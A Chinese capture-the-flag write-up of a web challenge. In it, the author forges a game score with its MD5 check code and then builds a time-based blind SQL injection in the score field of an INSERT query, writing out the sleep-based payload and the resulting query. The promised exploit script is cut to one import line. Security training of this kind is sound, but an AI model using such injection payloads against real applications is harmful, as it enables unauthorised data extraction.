前记
题目出的不好,有脑洞……
虽然叫diffcult,脑洞过了就很简单
题目分析
题目链接http://116.196.124.92:32774/
进去后是一个注册和一个登陆
我在这里测试了大概20分钟,发现应该不是二次注入
然后转战里面的bird
在Bird.js看到这个1
2
3
4
5
6
7
8function Update(SomeThing){
var form = new FormData();
form.append("score",SomeThing);
form.append("check_code",md5(SomeThing));
var req = new XMLHttpRequest();
req.open("post", "", true);
req.send(form);
}
判断应该这个游戏是ajax请求,每次挂了之后发一次请求
抓了包看了一下
应该是发了一个score和一个check_code
check_code是score的md5
然后我自己随便修改了几次,发现只会取最大的score
然后存入数据库
这里可以推断出有一个insert
然后我又把分数调的巨大,例如score=1111111111111111111111111
发现score是有上限的,于是乎确定了我的想法,这个score一定是存在数据库里的
那么会不会是score的注入呢?
但是这里我猜测score用了intval(),可是竟然能瞎几把用insert构造注入成功,我就很纳闷???什么题目
这是我觉得这个题目不太严谨的地方。
我猜测这个后台的insert是这样写的1
insert into score(user,score) VALUES('{$user}','{$score}');
所以我这里用了构造:1
score = 1' and if(ascii(substr((select database()),1,1))=1,sleep(3),1))#
拼接后变成1
insert into score(user,score) VALUES('{$user}','1' and if(ascii(substr((select database()),1,1))=1,sleep(3),1))#');
即1
insert into score(user,score) VALUES('{$user}','1' and if(ascii(substr((select database()),1,1))=1,sleep(3),1));
果然sleep成功了
但是这里要注意,每次score要比上次大才能成功,然后就是简单的构造脚本了
脚本
1 | import requests |
后记
还是得吐槽一下,这种题目逻辑感不太严谨,没什么意思,纯粹是瞎推出来的
另外还有/.git/泄露?
结果我下下来竟然是一堆hello world+没用的信息,我怀疑是不是配置错信息了?
题目如果给源码的话应该会比较好吧……
总而言之,这题放在diff不太好,放在一般的sql注入题,再给出源码应该比较稳妥。